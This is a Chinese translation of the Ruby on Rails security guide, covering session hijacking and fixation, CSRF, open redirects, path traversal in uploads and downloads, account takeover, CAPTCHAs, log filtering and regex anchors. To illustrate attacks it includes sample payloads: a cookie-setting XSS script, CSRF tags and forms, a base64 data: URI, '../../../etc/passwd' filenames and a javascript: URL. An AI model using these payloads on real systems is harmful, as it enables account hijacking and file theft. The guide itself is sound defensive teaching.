更多資訊請參閱 rubyonrails.org:

保護 Rails 應用程式

本手冊描述了 Web 應用程式中常見的安全性問題,以及如何使用 Rails 避免這些問題。

閱讀本指南後,您將了解

  • 所有強調的對策。
  • Rails 中會話的概念、應放入的內容以及常見的攻擊方法。
  • 僅僅瀏覽網站如何成為安全問題(與 CSRF 相關)。
  • 在使用檔案或提供管理介面時,您必須注意的事項。
  • 如何管理使用者:登入和登出以及所有層級的攻擊方法。
  • 以及最常見的注入攻擊方法。

1 簡介

Web 應用程式框架旨在協助開發人員建置 Web 應用程式。其中一些框架還能協助您保護 Web 應用程式。事實上,一個框架並不比另一個框架更安全:如果正確使用,您將能夠使用許多框架建置安全的應用程式。例如,Ruby on Rails 有一些巧妙的輔助方法來防止 SQL 注入,因此這幾乎不是問題。

一般來說,沒有所謂的即插即用安全性。安全性取決於使用該框架的人員,有時也取決於開發方法。它取決於 Web 應用程式環境的所有層級:後端儲存、Web 伺服器以及 Web 應用程式本身(以及其他可能的層級或應用程式)。

然而,Gartner Group 估計 75% 的攻擊發生在 Web 應用程式層,並發現「在 300 個經審核的網站中,97% 容易受到攻擊」。這是因為 Web 應用程式相對容易受到攻擊,因為它們簡單易懂且易於操作,即使是外行人也能理解和操作。

針對 Web 應用程式的威脅包括使用者帳戶劫持、繞過存取控制、讀取或修改敏感資料,或呈現欺詐內容。攻擊者也可能能夠安裝木馬程式或未經請求的電子郵件發送軟體,旨在謀取經濟利益,或透過修改公司資源而導致品牌名稱損害。為了防止攻擊、將其影響降至最低並移除攻擊點,首先,您必須完全了解攻擊方法,才能找到正確的對策。這正是本指南的目的。

為了開發安全的 Web 應用程式,您必須隨時掌握所有層級的最新資訊並了解您的敵人。若要保持最新資訊,請訂閱安全性郵件列表、閱讀安全性部落格,並將更新和安全性檢查養成習慣(請查看其他資源章節)。這是手動完成的,因為這是您找到惡意邏輯安全性問題的方式。

2 會話

本章描述一些與會話相關的特定攻擊,以及保護會話資料的安全措施。

2.1 什麼是會話?

會話使應用程式能夠在使用者與應用程式互動時維護使用者特定的狀態。例如,會話允許使用者驗證一次,並在未來請求中保持登入狀態。

大多數應用程式需要追蹤與應用程式互動的使用者狀態。這可能是購物籃的內容,或是目前登入使用者的使用者 ID。這種使用者特定的狀態可以儲存在會話中。

Rails 為存取應用程式的每個使用者提供一個會話物件。如果使用者已有活動會話,Rails 會使用現有的會話。否則,將建立新的會話。

如需更多關於會話以及如何使用它們的資訊,請參閱Action Controller 概觀指南

2.2 會話劫持

竊取使用者的會話 ID 可讓攻擊者以受害者的名義使用 Web 應用程式。

許多 Web 應用程式都有驗證系統:使用者提供使用者名稱和密碼,Web 應用程式檢查它們並將相應的使用者 ID 儲存在會話雜湊中。從現在開始,會話有效。在每個請求中,應用程式都會載入使用者,該使用者由會話中的使用者 ID 識別,而無需新的驗證。Cookie 中的會話 ID 識別會話。

因此,Cookie 用作 Web 應用程式的臨時驗證。任何從其他人手中奪取 Cookie 的人都可以像該使用者一樣使用 Web 應用程式 - 可能會造成嚴重的後果。以下是一些劫持會話的方法及其對策

  • 在不安全的網路上嗅探 Cookie。無線 LAN 可以作為此類網路的範例。在未加密的無線 LAN 中,監聽所有連線用戶端的流量尤其容易。對於 Web 應用程式建置者來說,這意味著透過 SSL 提供安全連線。在 Rails 3.1 及更高版本中,這可以透過在您的應用程式設定檔中始終強制執行 SSL 連線來完成

    config.force_ssl = true
    
  • 大多數人不會在使用公用終端機後清除 Cookie。因此,如果最後一個使用者沒有登出 Web 應用程式,您就可以像該使用者一樣使用它。在 Web 應用程式中為使用者提供登出按鈕,並使其突出顯示

  • 許多跨網站腳本 (XSS) 攻擊旨在獲取使用者的 cookie。您稍後將閱讀更多關於XSS 的資訊

  • 攻擊者不是竊取他們不知道的 cookie,而是固定他們已知的用戶會話識別碼(在 cookie 中)。稍後閱讀更多關於所謂的會話固定的資訊。

2.3 會話儲存

Rails 使用 ActionDispatch::Session::CookieStore 作為預設的會話儲存。

Action Controller Overview Guide 中了解更多關於其他會話儲存的資訊。

Rails 的 CookieStore 將會話雜湊值儲存在客戶端上的 cookie 中。伺服器從 cookie 中檢索會話雜湊值,並消除了對會話 ID 的需求。這將大大提高應用程式的速度,但這是一個有爭議的儲存選項,您必須考慮其安全隱患和儲存限制。

  • Cookie 的大小限制為 4 kB。僅將 cookie 用於與會話相關的資料。

  • Cookie 儲存在客戶端。即使是過期的 cookie,客戶端也可能會保留 cookie 的內容。客戶端可能會將 cookie 複製到其他機器。避免在 cookie 中儲存敏感資料。

  • Cookie 本質上是暫時性的。伺服器可以設定 cookie 的過期時間,但客戶端可能會在此之前刪除 cookie 及其內容。將所有更持久的資料都儲存在伺服器端。

  • 會話 cookie 不會自行失效,並且可能被惡意重複使用。使用儲存的時間戳記讓您的應用程式使舊的會話 cookie 失效可能是一個好主意。

  • Rails 預設會加密 cookie。客戶端無法在不破壞加密的情況下讀取或編輯 cookie 的內容。如果您妥善保管您的密鑰,您可以認為您的 cookie 通常是安全的。

CookieStore 使用 加密的 cookie jar 來提供一個安全、加密的位置來儲存會話資料。因此,基於 cookie 的會話為其內容提供了完整性和機密性。用於簽署 cookie 的加密金鑰以及驗證金鑰,都來自 secret_key_base 組態值。

密鑰必須夠長且隨機。使用 bin/rails secret 來獲取新的唯一密鑰。

稍後在本指南中了解更多關於管理憑證的資訊

為加密和簽署的 cookie 使用不同的 salt 值也很重要。對不同的 salt 組態值使用相同的值可能會導致不同的安全功能使用相同的衍生金鑰,進而削弱金鑰的強度。

在測試和開發應用程式中,會從應用程式名稱衍生出 secret_key_base。其他環境必須使用 config/credentials.yml.enc 中存在的隨機金鑰,此處顯示的是解密狀態

secret_key_base: 492f...

如果您的應用程式的密鑰可能已洩漏,請強烈考慮變更它們。請注意,變更 secret_key_base 將使目前作用中的會話過期,並要求所有使用者重新登入。除了會話資料外,加密的 cookie、簽署的 cookie 和 Active Storage 檔案也可能受到影響。

2.4 輪換加密和簽署的 Cookie 設定

輪換非常適合變更 cookie 設定,並確保舊的 cookie 不會立即失效。您的使用者便有機會瀏覽您的網站,讓他們的 cookie 以舊的設定讀取,並以新的變更重新寫入。一旦您認為有足夠多的使用者有機會升級他們的 cookie 後,便可以移除輪換。

可以輪換用於加密和簽署的 cookie 的密碼和摘要。

例如,若要將用於簽署的 cookie 的摘要從 SHA1 變更為 SHA256,您首先需要指派新的組態值

Rails.application.config.action_dispatch.signed_cookie_digest = "SHA256"

現在為舊的 SHA1 摘要新增輪換,以便將現有的 cookie 無縫升級到新的 SHA256 摘要。

Rails.application.config.action_dispatch.cookies_rotations.tap do |cookies|
  cookies.rotate :signed, digest: "SHA1"
end

然後,任何寫入的簽署 cookie 都將使用 SHA256 進行摘要。以 SHA1 寫入的舊 cookie 仍然可以讀取,如果被存取,將會以新的摘要寫入,因此它們會被升級,並且當您移除輪換時不會失效。

一旦使用 SHA1 摘要簽署 cookie 的使用者不再有機會重新寫入他們的 cookie 時,請移除輪換。

雖然您可以設定任意數量的輪換,但在任何時候都有許多輪換並不多見。

如需更多關於使用加密和簽署訊息的金鑰輪換以及 rotate 方法可接受的各種選項的詳細資訊,請參閱 MessageEncryptor APIMessageVerifier API 文件。

2.5 CookieStore 會話的重播攻擊

當使用 CookieStore 時,您必須注意的另一種攻擊是重播攻擊。

它的運作方式如下

  • 使用者收到點數,金額儲存在會話中(無論如何這都是一個壞主意,但我們將以此作演示)。
  • 使用者購買了一些東西。
  • 新的調整後的點數值儲存在會話中。
  • 使用者從第一步取得 cookie(他們先前複製的),並將其取代瀏覽器中的目前 cookie。
  • 使用者恢復了原始點數。

在會話中包含 nonce(一個隨機值)可以解決重播攻擊。Nonce 僅有效一次,且伺服器必須追蹤所有有效的 nonce。如果有多個應用程式伺服器,情況會變得更加複雜。將 nonce 儲存在資料庫表格中將會失去 CookieStore 的全部目的(避免存取資料庫)。

對抗它的最佳解決方案不是將這類資料儲存在會話中,而是儲存在資料庫中。在這種情況下,將點數儲存在資料庫中,並將 logged_in_user_id 儲存在會話中。

2.6 會話固定

除了竊取使用者的會話 ID 外,攻擊者還可以固定他們已知的會話 ID。這稱為會話固定。

Session fixation

這種攻擊的重點是固定攻擊者已知的用戶會話 ID,並強迫使用者的瀏覽器使用此 ID。因此,攻擊者不必在事後竊取會話 ID。以下是此攻擊的運作方式

  • 攻擊者建立有效的會話 ID:他們載入他們想要固定會話的 Web 應用程式的登入頁面,並從回應中的 cookie 中取得會話 ID(請參閱圖片中的數字 1 和 2)。
  • 他們定期存取 Web 應用程式以維持會話,以便使過期的會話保持作用中狀態。
  • 攻擊者強迫使用者的瀏覽器使用此會話 ID(請參閱圖片中的數字 3)。由於您可能無法變更另一個網域的 cookie(因為同源政策),因此攻擊者必須從目標 Web 應用程式的網域執行 JavaScript。透過 XSS 將 JavaScript 程式碼注入到應用程式中即可完成此攻擊。以下是一個範例:<script>document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";</script>。稍後閱讀更多關於 XSS 和注入的資訊。
  • 攻擊者誘騙受害者進入含有 JavaScript 程式碼的受感染頁面。透過檢視頁面,受害者的瀏覽器將會將會話 ID 變更為陷阱會話 ID。
  • 由於新的陷阱會話未使用,Web 應用程式將會要求使用者驗證。
  • 從現在開始,受害者和攻擊者將使用相同的會話共同使用 Web 應用程式:會話變得有效,且受害者沒有注意到攻擊。

2.7 會話固定 - 對策

一行程式碼將保護您免受會話固定的影響。

最有效的對策是在成功登入後發出新的會話識別碼,並宣告舊的識別碼無效。這樣一來,攻擊者便無法使用固定的會話識別碼。這也是一種對抗會話劫持的好對策。以下是如何在 Rails 中建立新的會話

reset_session

如果您使用熱門的 Devise gem 進行使用者管理,它會自動在登入和登出時使會話過期。如果您自己推出,請記住在您的登入動作(建立會話時)之後使會話過期。這將從會話中移除值,因此您必須將它們傳輸到新的會話

另一個對策是將使用者特定的屬性儲存在會話中,每次有請求傳入時驗證它們,如果資訊不符,則拒絕存取。這些屬性可以是遠端 IP 位址或使用者代理(Web 瀏覽器名稱),但後者較不具有使用者特定性。在儲存 IP 位址時,您必須記住,有些網際網路服務供應商或大型組織會將其使用者置於 Proxy 後面。這些可能會在會話過程中變更,因此這些使用者將無法使用您的應用程式,或者只能以有限的方式使用。

2.8 會話過期

永不過期的會話會延長跨網站請求偽造 (CSRF)、會話劫持和會話固定等攻擊的時間範圍。

一種可能性是設定含有會話 ID 的 cookie 的過期時間戳記。但是,客戶端可以編輯儲存在 Web 瀏覽器中的 cookie,因此在伺服器上使會話過期會比較安全。以下是如何在資料庫表格中使會話過期的範例。呼叫 Session.sweep(20.minutes) 使 20 分鐘前使用的會話過期。

class Session < ApplicationRecord
  def self.sweep(time = 1.hour)
    where(updated_at: ...time.ago).delete_all
  end
end

關於會話固定的章節介紹了維護會話的問題。每五分鐘維護一次會話的攻擊者可以使會話永遠保持作用中狀態,即使您正在使會話過期。一個簡單的解決方案是在會話表格中新增 created_at 資料行。現在,您可以刪除很久以前建立的會話。在上面的 sweep 方法中使用此行

where(updated_at: ...time.ago).or(where(created_at: ...2.days.ago)).delete_all

3 跨網站請求偽造 (CSRF)

這種攻擊方法的工作方式是在一個頁面中包含惡意程式碼或連結,該頁面存取使用者被認為已驗證的 Web 應用程式。如果該 Web 應用程式的會話尚未逾時,則攻擊者可能會執行未經授權的命令。

Cross-Site Request Forgery

會話章節中,您已經了解到大多數 Rails 應用程式使用基於 cookie 的會話。它們可能將會話 ID 儲存在 cookie 中,並且有一個伺服器端會話雜湊值,或者整個會話雜湊值都在客戶端。無論在哪種情況下,如果瀏覽器找到該網域的 cookie,則會在每次向網域發出請求時自動發送 cookie。有爭議的一點是,如果請求來自不同網域的網站,它也會發送 cookie。讓我們從一個範例開始

  • Bob 瀏覽了一個留言板,並查看了一則駭客的貼文,其中有一個精心製作的 HTML 圖片元素。該元素參照的是 Bob 專案管理應用程式中的命令,而不是圖片檔案:<img src="http://www.webapp.com/project/1/destroy">
  • Bob 在 www.webapp.com 的會話仍然有效,因為他幾分鐘前沒有登出。
  • 透過檢視貼文,瀏覽器找到了一個圖片標籤。它嘗試從 www.webapp.com 載入可疑的圖片。如先前所述,它也會一併發送具有有效會話 ID 的 cookie。
  • www.webapp.com 的 Web 應用程式驗證對應會話雜湊值中的使用者資訊,並銷毀 ID 為 1 的專案。然後,它會傳回一個結果頁面,這對瀏覽器而言是一個意外的結果,因此不會顯示圖片。
  • Bob 沒有注意到攻擊,但幾天後,他發現一號專案不見了。

重要的是要注意,實際精心製作的圖片或連結不一定必須位於 Web 應用程式的網域中,它可以位於任何位置 - 論壇、部落格貼文或電子郵件中。

CSRF 在 CVE(常見漏洞和曝光)中很少出現 - 在 2006 年不到 0.1% - 但它確實是一個「沉睡的巨人」[Grossman]。這與許多安全合約工作的結果形成鮮明對比 - CSRF 是一個重要的安全問題

3.1 CSRF 對策

首先,如同 W3C 所要求,請適當使用 GET 和 POST。其次,在非 GET 請求中使用安全令牌,可以保護您的應用程式免受 CSRF 攻擊。

3.1.1 適當使用 GET 和 POST

HTTP 協定基本上提供了兩種主要類型的請求 - GET 和 POST (DELETE、PUT 和 PATCH 應該像 POST 一樣使用)。全球資訊網協會 (W3C) 提供了一份選擇 HTTP GET 或 POST 的檢查清單

如果符合以下條件,請使用 GET

  • 互動更像是個問題 (也就是說,它是一個安全的操作,例如查詢、讀取操作或查找)。

如果符合以下條件,請使用 POST

  • 互動更像是個命令,或者
  • 互動以使用者會感知到的方式改變資源的狀態 (例如,訂閱服務),或者
  • 使用者需要對互動結果負責

如果您的 Web 應用程式是 RESTful 的,您可能習慣使用其他 HTTP 動詞,例如 PATCH、PUT 或 DELETE。然而,某些舊版 Web 瀏覽器不支援這些動詞,只支援 GET 和 POST。Rails 使用隱藏的 _method 欄位來處理這些情況。

POST 請求也可以自動發送。在這個範例中,連結 www.harmless.com 會顯示在瀏覽器的狀態列中作為目的地。但它實際上是動態建立了一個新的表單,來發送 POST 請求。

<a href="http://www.harmless.com/" onclick="
  var f = document.createElement('form');
  f.style.display = 'none';
  this.parentNode.appendChild(f);
  f.method = 'POST';
  f.action = 'http://www.example.com/account/destroy';
  f.submit();
  return false;">To the harmless survey</a>

或者攻擊者將程式碼放在圖片的 onmouseover 事件處理程式中

<img src="http://www.harmless.com/img" width="400" height="400" onmouseover="..." />

還有許多其他可能性,例如使用 <script> 標籤對具有 JSONP 或 JavaScript 回應的 URL 進行跨網站請求。回應是可執行的程式碼,攻擊者可以找到方法來執行,並可能提取敏感資料。為了防止此資料洩漏,我們必須禁止跨網站 <script> 標籤。然而,Ajax 請求會遵守瀏覽器的同源策略 (只允許您自己的網站發起 XmlHttpRequest),因此我們可以安全地允許它們傳回 JavaScript 回應。

我們無法區分 <script> 標籤的來源—無論它是您自己網站上的標籤,還是其他惡意網站上的標籤—因此我們必須全面封鎖所有 <script>,即使它實際上是您自己網站提供的安全同源指令碼。在這些情況下,請明確跳過對提供 JavaScript 以用於 <script> 標籤的動作進行 CSRF 保護。

3.1.2 必要的安全令牌

為了防止所有其他偽造的請求,我們引入了一個必要的安全令牌,這是我們的網站知道,但其他網站不知道的。我們在請求中包含安全令牌,並在伺服器上進行驗證。當 config.action_controller.default_protect_from_forgery 設定為 true 時 (這是新建立的 Rails 應用程式的預設值),這將會自動完成。您也可以透過將以下程式碼新增到您的應用程式控制器中來手動完成此操作

protect_from_forgery with: :exception

這將在 Rails 產生的所有表單中包含安全令牌。如果安全令牌與預期的不符,將會拋出例外狀況。

使用 Turbo 提交表單時,也需要安全令牌。Turbo 會在您的應用程式版面配置的 csrf meta 標籤中尋找令牌,並將其新增到 X-CSRF-Token 請求標頭中。這些 meta 標籤是使用 csrf_meta_tags 輔助方法建立的

<head>
  <%= csrf_meta_tags %>
</head>

結果如下

<head>
  <meta name="csrf-param" content="authenticity_token" />
  <meta name="csrf-token" content="THE-TOKEN" />
</head>

從 JavaScript 發出您自己的非 GET 請求時,也需要安全令牌。Rails Request.JS 是一個 JavaScript 函式庫,它封裝了新增必要請求標頭的邏輯。

當使用其他函式庫發出 Ajax 呼叫時,有必要自行將安全令牌新增為預設標頭。若要從 meta 標籤取得令牌,您可以執行類似下列的操作

document.head.querySelector("meta[name=csrf-token]")?.content

3.1.3 清除持續性 Cookie

通常使用持續性 Cookie 來儲存使用者資訊,例如 cookies.permanent。在這種情況下,Cookie 不會被清除,而且現成的 CSRF 保護機制將無法有效運作。如果您使用與會話不同的 Cookie 儲存空間來儲存此資訊,您必須自行處理如何處理它

rescue_from ActionController::InvalidAuthenticityToken do |exception|
  sign_out_user # Example method that will destroy the user cookies
end

上述方法可以放在 ApplicationController 中,並且當非 GET 請求中不存在或不正確的 CSRF 令牌時,將會呼叫此方法。

請注意,跨網站指令碼 (XSS) 漏洞會繞過所有 CSRF 保護機制。XSS 允許攻擊者存取頁面上的所有元素,因此他們可以從表單中讀取 CSRF 安全令牌,或直接提交表單。稍後請閱讀 更多關於 XSS 的資訊

4 重新導向和檔案

另一類安全漏洞與 Web 應用程式中重新導向和檔案的使用有關。

4.1 重新導向

Web 應用程式中的重新導向是一種被低估的駭客工具:攻擊者不僅可以將使用者轉發到陷阱網站,他們還可以建立一個自我包含的攻擊。

只要允許使用者傳遞重新導向的 URL (的一部分),它就可能存在漏洞。最明顯的攻擊是將使用者重新導向到一個外觀和感覺與原始應用程式完全相同的假 Web 應用程式。這種所謂的網路釣魚攻擊的運作方式是透過在電子郵件中向使用者傳送一個不引人懷疑的連結、透過 XSS 將連結注入到 Web 應用程式中,或將連結放入外部網站中。它之所以不引人懷疑,是因為連結以 Web 應用程式的 URL 開頭,而惡意網站的 URL 隱藏在重新導向參數中:http://www.example.com/site/redirect?to=www.attacker.com。以下是一個舊版動作的範例

def legacy
  redirect_to(params.update(action: "main"))
end

如果使用者嘗試存取舊版動作,這將會將使用者重新導向到主要動作。目的是保留舊版動作的 URL 參數,並將它們傳遞給主要動作。但是,如果攻擊者在 URL 中包含主機金鑰,則攻擊者可能會利用它

http://www.example.com/site/legacy?param1=xy&param2=23&host=www.attacker.com

如果它在 URL 的末尾,則幾乎不會被注意到,並且會將使用者重新導向到 attacker.com 主機。一般來說,將使用者輸入直接傳遞到 redirect_to 是危險的。一個簡單的應對措施是僅在舊版動作中包含預期的參數 (再次使用允許清單方法,而不是移除非預期的參數)。如果您要重新導向到 URL,請使用允許清單或正規表示式進行檢查

4.1.1 自我包含的 XSS

另一個重新導向和自我包含的 XSS 攻擊,是透過使用資料協定在 Firefox 和 Opera 中運作。此協定會直接在瀏覽器中顯示其內容,並且可以是任何內容,從 HTML 或 JavaScript 到整個影像

data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K

這個範例是一個 Base64 編碼的 JavaScript,它會顯示一個簡單的訊息方塊。在重新導向 URL 中,攻擊者可以重新導向到此 URL,其中包含惡意程式碼。作為應對措施,請勿允許使用者提供 (部分的) 要重新導向的 URL

4.2 檔案上傳

請確定檔案上傳不會覆寫重要的檔案,並非同步處理媒體檔案。

許多 Web 應用程式允許使用者上傳檔案。使用者可以 (部分) 選擇的檔案名稱應始終進行篩選,因為攻擊者可以使用惡意的檔案名稱來覆寫伺服器上的任何檔案。如果您將檔案上傳儲存在 /var/www/uploads 中,並且使用者輸入了類似 "../../../etc/passwd" 的檔案名稱,則可能會覆寫重要的檔案。當然,Ruby 直譯器需要有適當的權限才能執行此操作 - 這也是以較低權限的 Unix 使用者身分執行 Web 伺服器、資料庫伺服器和其他程式的另一個原因。

在篩選使用者輸入的檔案名稱時,請勿嘗試移除惡意部分。想想這樣一個情況,其中 Web 應用程式會移除檔案名稱中的所有 "../",而攻擊者使用了類似 "....//" 的字串 - 結果會是 "../"。最好使用允許清單方法,該方法使用一組接受的字元檢查檔案名稱的有效性。這與嘗試移除不允許的字元的受限清單方法相反。如果檔案名稱無效,請拒絕它 (或取代不接受的字元),但不要移除它們。以下是來自 attachment_fu 外掛程式的檔案名稱清理器

def sanitize_filename(filename)
  filename.strip.tap do |name|
    # NOTE: File.basename doesn't work right with Windows paths on Unix
    # get only the filename, not the whole path
    name.sub!(/\A.*(\\|\/)/, "")
    # Finally, replace all non alphanumeric, underscore
    # or periods with underscore
    name.gsub!(/[^\w.-]/, "_")
  end
end

同步處理檔案上傳 (如 attachment_fu 外掛程式可能對影像進行的處理) 的一個重大缺點是,它容易遭受阻斷服務攻擊。攻擊者可以從多台電腦同步啟動影像檔案上傳,這會增加伺服器負載,並可能最終導致伺服器崩潰或停頓。

最好的解決方案是非同步處理媒體檔案:儲存媒體檔案並在資料庫中排程處理請求。第二個程序會在背景處理檔案。

4.3 檔案上傳中的可執行程式碼

當上傳的檔案放置在特定目錄中時,可能會執行其中的原始程式碼。如果它是 Apache 的主目錄,請勿將檔案上傳放置在 Rails 的 /public 目錄中。

常用的 Apache Web 伺服器有一個名為 DocumentRoot 的選項。這是網站的主目錄,此目錄樹中的所有內容都將由 Web 伺服器提供服務。如果存在具有特定檔案名稱副檔名的檔案,則在請求時將會執行其中的程式碼 (可能需要設定一些選項)。這方面的範例是 PHP 和 CGI 檔案。現在想想這樣一個情況,攻擊者上傳了一個名為 "file.cgi" 的檔案,其中包含程式碼,當有人下載該檔案時,該程式碼將會被執行。

如果您的 Apache DocumentRoot 指向 Rails 的 /public 目錄,請勿將檔案上傳放在其中,至少將檔案儲存在上一層。

4.4 檔案下載

請確定使用者無法下載任意檔案。

正如您必須篩選上傳的檔案名稱一樣,您也必須篩選下載的檔案名稱。send_file() 方法會將檔案從伺服器傳送到用戶端。如果您使用使用者輸入的檔案名稱而不進行篩選,則可以下載任何檔案

send_file("/var/www/uploads/" + params[:filename])

只需傳遞類似 "../../../etc/passwd" 的檔案名稱即可下載伺服器的登入資訊。一個簡單的解決方案是,檢查請求的檔案是否在預期的目錄中

basename = File.expand_path("../../files", __dir__)
filename = File.expand_path(File.join(basename, @file.public_filename))
raise if basename != File.expand_path(File.dirname(filename))
send_file filename, disposition: "inline"

另一種 (額外的) 方法是將檔案名稱儲存在資料庫中,並根據資料庫中的 ID 來命名磁碟上的檔案。這也是避免上傳檔案中可能包含的可執行程式碼的好方法。attachment_fu 外掛程式以類似的方式執行此操作。

5 使用者管理

幾乎每個網路應用程式都必須處理授權和身份驗證。建議使用常見的插件,而不是自行開發。但也要保持它們的更新。一些額外的預防措施可以使您的應用程式更加安全。

Rails 有許多可用的身份驗證插件。一些優秀的插件,例如流行的 deviseauthlogic,僅儲存經過加密雜湊處理的密碼,而不是純文字密碼。自 Rails 3.1 起,您也可以使用內建的 has_secure_password 方法,該方法支援安全的密碼雜湊、確認和恢復機制。

5.1 暴力破解帳戶

暴力破解帳戶是對登入憑證進行嘗試和錯誤的攻擊。使用更通用的錯誤訊息來抵禦它們,並可能要求輸入驗證碼(CAPTCHA)。

您的網路應用程式的使用者名稱列表可能會被濫用來暴力破解相應的密碼,因為大多數人不會使用複雜的密碼。大多數密碼是字典單字和可能數字的組合。因此,如果有了使用者名稱列表和字典,自動程式可能在幾分鐘內找到正確的密碼。

因此,如果使用者名稱或密碼之一不正確,大多數網路應用程式會顯示通用的錯誤訊息「使用者名稱或密碼不正確」。如果顯示「您輸入的使用者名稱未找到」,攻擊者就可以自動編譯使用者名稱列表。

然而,大多數網路應用程式設計師忽略的是忘記密碼的頁面。這些頁面通常會承認輸入的使用者名稱或電子郵件地址已(未)找到。這使得攻擊者可以編譯使用者名稱列表並暴力破解帳戶。

為了減輕此類攻擊,在忘記密碼的頁面上也顯示通用的錯誤訊息。此外,您可以在從特定 IP 位址登入失敗多次後,要求輸入驗證碼。請注意,這並非針對自動程式的萬無一失的解決方案,因為這些程式可能會頻繁變更其 IP 位址。但是,這會提高攻擊的門檻。

5.2 帳戶劫持

許多網路應用程式很容易劫持使用者帳戶。為什麼不與眾不同,使它更困難呢?

5.2.1 密碼

想像一下,如果攻擊者竊取了使用者的會話 cookie,因此可以共用該應用程式。如果更改密碼很容易,攻擊者只需點擊幾下即可劫持該帳戶。或者,如果更改密碼的表單容易受到 CSRF 攻擊,攻擊者就可以通過誘使受害者訪問包含精心設計的 IMG 標籤的網頁,從而更改受害者的密碼。作為對策,確保更改密碼的表單能夠抵禦 CSRF 攻擊。並且要求使用者在更改密碼時輸入舊密碼

5.2.2 電子郵件

然而,攻擊者也可以通過更改電子郵件地址來接管帳戶。更改後,他們會轉到忘記密碼頁面,並且(可能已更改的)新密碼將會寄送到攻擊者的電子郵件地址。作為對策,在更改電子郵件地址時,也要求使用者輸入密碼

5.2.3 其他

根據您的網路應用程式,可能會有更多方法來劫持使用者帳戶。在許多情況下,CSRF 和 XSS 將有助於做到這一點。例如,如同 Google Mail 中的 CSRF 漏洞。在此概念驗證攻擊中,受害者會被誘使訪問由攻擊者控制的網站。該網站上有一個精心設計的 IMG 標籤,導致 HTTP GET 請求更改 Google Mail 的過濾器設定。如果受害者已登入 Google Mail,攻擊者會將過濾器更改為將所有電子郵件轉發到他們的電子郵件地址。這幾乎與劫持整個帳戶一樣有害。作為對策,檢查您的應用程式邏輯並消除所有 XSS 和 CSRF 漏洞

5.3 驗證碼(CAPTCHA)

驗證碼是一種挑戰-回應測試,用以判斷回應是否由電腦產生。它通常用於保護註冊表單免受攻擊者攻擊,並通過要求使用者輸入扭曲圖像的字母來保護評論表單免受自動垃圾郵件機器人攻擊。這是正向驗證碼,但也存在負向驗證碼。負向驗證碼的想法並不是要讓使用者證明他們是人類,而是要揭示機器人是機器人。

一個受歡迎的正向驗證碼 API 是 reCAPTCHA,它會顯示來自舊書的兩個扭曲的單字圖像。它還會添加一個傾斜的線條,而不是像較早的驗證碼那樣使用扭曲的背景和高度的文字扭曲,因為後者已被破解。作為額外的好處,使用 reCAPTCHA 有助於將舊書數位化。ReCAPTCHA 也是一個 Rails 插件,其名稱與 API 相同。

您將從 API 獲得兩個金鑰,一個公開金鑰和一個私密金鑰,您必須將其放入您的 Rails 環境中。之後,您可以在視圖中使用 recaptcha_tags 方法,並在控制器中使用 verify_recaptcha 方法。如果驗證失敗,verify_recaptcha 將會返回 false。驗證碼的問題在於它們對使用者體驗產生負面影響。此外,一些視障使用者發現某些扭曲的驗證碼難以閱讀。儘管如此,正向驗證碼仍然是防止各種機器人提交表單的最佳方法之一。

大多數機器人都很天真。他們會抓取網頁並將垃圾郵件放入他們可以找到的每個表單欄位中。負向驗證碼利用這一點,並在表單中包含一個「蜜罐」欄位,該欄位將通過 CSS 或 JavaScript 對人類使用者隱藏。

請注意,負向驗證碼僅對天真的機器人有效,不足以保護關鍵應用程式免受有針對性的機器人攻擊。儘管如此,負向和正向驗證碼可以結合使用以提高效能,例如,如果「蜜罐」欄位不是空的(檢測到機器人),您將不需要驗證正向驗證碼,這將需要向 Google ReCaptcha 發送 HTTPS 請求才能計算出回應。

以下是一些如何通過 JavaScript 和/或 CSS 隱藏蜜罐欄位的想法

  • 將欄位放置在頁面的可見區域之外
  • 使元素非常小,或將其顏色設定為與頁面背景相同
  • 讓欄位顯示,但告訴人類將其留空

最簡單的負向驗證碼是一個隱藏的蜜罐欄位。在伺服器端,您將檢查欄位的值:如果它包含任何文字,則必定是機器人。然後,您可以忽略貼文或返回肯定結果,但不將貼文儲存到資料庫。這樣,機器人就會感到滿意並繼續前進。

您可以在 Ned Batchelder 的 部落格文章中找到更複雜的負向驗證碼

  • 在其中包含一個具有目前 UTC 時間戳記的欄位,並在伺服器上進行檢查。如果時間過於久遠,或是在未來,則表單無效。
  • 隨機化欄位名稱
  • 包含多個所有類型的蜜罐欄位,包括提交按鈕

請注意,這僅能保護您免受自動機器人的攻擊,針對性的客製化機器人無法通過此方法阻止。因此,負向驗證碼可能不適合保護登入表單

5.4 記錄

告訴 Rails 不要將密碼放在記錄檔中。

預設情況下,Rails 會記錄對網路應用程式發出的所有請求。但是記錄檔可能是一個巨大的安全問題,因為它們可能包含登入憑證、信用卡號碼等。在設計網路應用程式安全概念時,您還應該考慮如果攻擊者(完全)訪問網路伺服器會發生什麼情況。如果在記錄檔中以純文字列出,則在資料庫中加密機密和密碼將毫無用處。您可以通過將某些請求參數附加到應用程式配置中的 config.filter_parameters從記錄檔中篩選某些請求參數。這些參數將在記錄中標記為 [FILTERED]。

config.filter_parameters << :password

提供的參數將通過部分匹配的正規表示式篩選出來。Rails 會在適當的初始化程式(initializers/filter_parameter_logging.rb)中添加預設篩選器列表,包括 :passw:secret:token,以處理典型的應用程式參數,例如 passwordpassword_confirmationmy_token

5.5 正規表示式

Ruby 的正規表示式中一個常見的陷阱是使用 ^ 和 $ 而不是 \A 和 \z 來匹配字串的開頭和結尾。

Ruby 使用與許多其他語言略有不同的方法來匹配字串的結尾和開頭。這就是為什麼即使許多 Ruby 和 Rails 書籍也會犯這個錯誤的原因。那麼,這如何構成安全威脅呢?假設您想要寬鬆地驗證 URL 欄位,並且您使用了類似這樣的簡單正規表示式

/^https?:\/\/[^\n]+$/i

這在某些語言中可能運作良好。但是,在 Ruby 中,^$ 會匹配的開頭和行結尾。因此,類似這樣的 URL 可以毫無問題地通過篩選器

javascript:exploit_code();/*
http://hi.com
*/

這個 URL 通過篩選器,因為正規表示式匹配 – 第二行,其餘部分無關緊要。現在假設我們有一個像這樣顯示 URL 的視圖

link_to "Homepage", @user.homepage

該連結對於訪客來說看起來無害,但當點擊它時,它會執行 JavaScript 函數「exploit_code」或攻擊者提供的任何其他 JavaScript。

為了修復正規表示式,應該使用 \A\z 而不是 ^$,就像這樣

/\Ahttps?:\/\/[^\n]+\z/i

